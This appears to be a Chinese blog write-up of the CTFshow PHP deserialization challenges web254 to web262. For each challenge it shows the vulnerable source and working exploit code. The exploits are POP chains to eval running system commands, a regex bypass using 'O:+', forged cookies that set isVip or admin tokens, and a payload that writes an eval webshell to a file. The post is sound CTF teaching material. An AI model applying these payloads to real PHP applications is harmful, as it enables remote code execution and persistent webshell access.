CTFshow-反序列化

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,

则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

web254

 <?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();             //实例化一个类
    if($user->login($username,$password)){    //执行login方法,并判断真假
        if($user->checkVip()){             //执行checkVip方法,并判断真假
            $user->vipOneKeyGetFlag();     //执行vipOneKeyGetFlag方法
        }
    }else{
        echo "no vip,no flag";
    }
}

这题定义了一个类,先不看,看下边的:

if(isset($username) && isset($password)){
    $user = new ctfShowUser();             //实例化一个类
    if($user->login($username,$password)){    //执行login方法,并判断真假
        if($user->checkVip()){             //执行checkVip方法,并判断真假
            $user->vipOneKeyGetFlag();     //执行vipOneKeyGetFlag方法
        }
    }else{
        echo "no vip,no flag";
    }
}

如果login($username,$password)为真,那么isVip就变成true,那下边的判断都能通过,

所以只需要满足 ($this->username===$u&&$this->password===$p) 为真.

$u和$p是传入的$username、$password,

username和password是类里定义的变量,值都为xxxxxx.

payload:

?username=xxxxxx&password=xxxxxx

->在php中是一个 对象操作符,比如我有一个类db:
class db{
public $host;
public function printHost(){
echo $this -> host;
}
}
使用这个类:
首先要实例化:$db = new db();
得到一个对象$db,那我要怎么使用db里面的属性和方法呢,这个时候就要用->了,比如:
$db -> host = 'localhost'; //设置他的属性
$db -> printHost(); //使用方法

web255

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这题相对于上题增加了反序列化操作,并且login方法中,

即使(username===$u&&$this->password===$p)为真,$isVip不改变,还是为false,

后面的判断就不成立.

所以需要本地序列化修改可以操作的变量 $isVip的值。

本地测试,把ctfShowUser序列化,运行代码得到需要的序列化后的结果:

<?php

class ctfShowUser{
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser())); //url编码防止忽略不可见字符

这里序列化后需要进行url编码,防止忽略不可见字符.

序列化:serialize()
反序列化:unserialize() url编码:urlencode()

运行结果

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然后用bp,GET、Cookie传参拿到flag.

web256

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这题的vipOneKeyGetFlag方法多了一个判断:username!==password,

也就是类中声明的这两个变量不能相等,我们可以序列化修改username、password的值,

我们传入的两个值,也要和这两个值对应相等.

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxx';
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

运行结果:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22xxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

payload:

?username=xxxxxx&password=xxxx

Cookie:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22xxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这题多了info和backDoor两个类,ctfShowUser里加了两个魔术方法

__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,

在ctfShowUser类中,销毁对象时__destruct()调用了class中的getInfo()方法,

getInfo()中有我们需要的eval函数,而ctfShowUser里本身用到的info类是没用的,

所以我们要让class是backDoor类的实例化 就行了。

那我们需要把 $this->class=new info();改为$this->class=new backDoor();

再改backDoor里面的eval命令来拿flag,程序结束时调用__destruct执行eval:

$this->class=new info(); 换成 $this->class=new backDoor();
backDoor类里的private $code; 改成 private $code='system("tac flag.php");';拿flag

本地运行代码:

<?php
 
class ctfShowUser{
    private $class = 'info';
 
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
 
echo urlencode(serialize(new ctfShowUser()));

运行结果:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

因为是对ctfShowUser进行序列化,而ctfShowUser调用了backDoor,所以也把backDoor给序列化了,因为没有用到info,所以删了也是一样的.

bp传入参数

web258

加号绕过正则: /[oc]:\d+:/i

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

/[oc]:\d+:/i:

意思是过滤这两种情况:o:数字: 与 c:数字:

因此我们需要在之间加一个+以退出匹配来,例如O:+d

构造代码:

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
$a=serialize(new ctfShowUser());
$a=str_replace("O:","O:+",$a);
echo urlencode($a);
?>

str_replace() 函数:替换字符串中的一些字符(区分大小写)。

web259

web260

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;

payload:

?ctfshow=ctfshow_i_love_36D;

web261

__unserialize(),__wakeup()

 <?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

这题用了file_put_contents函数,那username就是文件名,password就是文件内容。

code需要满足==0x36d

而0x36d=877,$this->code = $this->username.$this->password;

弱比较直接让username=877.php就行。

payload:

 <?php

class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a = serialize (new ctfshowvip('877.php','<?php eval($_POST[1]);?>'));


echo urlencode ($a);
?>

也可以直接在里面改:

public $username='877.php';

public $password='<?php eval($_POST[1]);?>';

web262

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这题给了一个message.php,进去之后发现flag是在这里拿的,前面那个没啥用了。

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

所以我们只需要发送一个值为msg的cookie,并且token=admin。

payload:

 <?php

class message{
    public $token='admin';
}
$a = serialize(new message());
echo base64_encode($a)

?>
结果为:Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

抓包传入cookie

web263

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值